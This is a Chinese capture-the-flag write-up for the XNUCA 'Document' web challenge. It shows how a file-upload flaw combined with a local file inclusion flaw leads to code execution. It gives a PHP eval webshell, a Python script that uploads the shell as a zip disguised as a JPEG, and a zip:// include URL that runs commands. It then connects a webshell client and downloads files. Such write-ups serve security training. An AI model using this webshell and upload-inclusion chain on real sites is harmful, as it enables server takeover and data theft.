[XNUCA 练习靶场](web)Document


简介 :
Document
(破解人数:3)

描述:啥都没有,慢慢找吧。。。
http://218.76.35.74:20129


源码中发现 include.php

image.png
image.png
http://218.76.35.74:20129/include.php?file=php://filter/read=convert.base64-encode/resource=include
image.png
image.png
image.png

观察 upload.php 的源码 , 发现并没有对文件的内容进行检测
只需要上传一个文件 , 然后再用 include 去包含即可

image.png

可以看到包含的时候过滤了 %00 , 很奇怪这里直接过滤的是 %00
我们知道 apache 在给 php cgi 传递 http 的请求参数的时候
是会进行一次 url 解码的 , 感觉这里的 %00 没卵用
之过滤了这些协议 , 并没有过滤 phar / zip 等协议
可以直接使用 zip 协议去包含上传的文件 (因为文件名也是直接用户可控的)

给出利用脚本 :

echo '<?php eval($_REQUEST[c]);?>' > c.php
zip -9r data.zip c.php

upload.py

#!/usr/bin/env python
# encoding: utf-8

import requests

url = "http://218.76.35.74:20129/upload.php"

files = {'file': ('1.jpg', open("data.zip").read(), 'image/jpeg')}
response = requests.post(url, files=files)
print response.content

成功上传以后直接包含即可

http://218.76.35.74:20129/include.php?file=zip://upload/1.jpg%23c&c=phpinfo();('ps aux');
image.png

然后直接使用 Webshell-Sniper 进行连接 :

image.png

直接进行本地文件下载

image.png
image.png
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容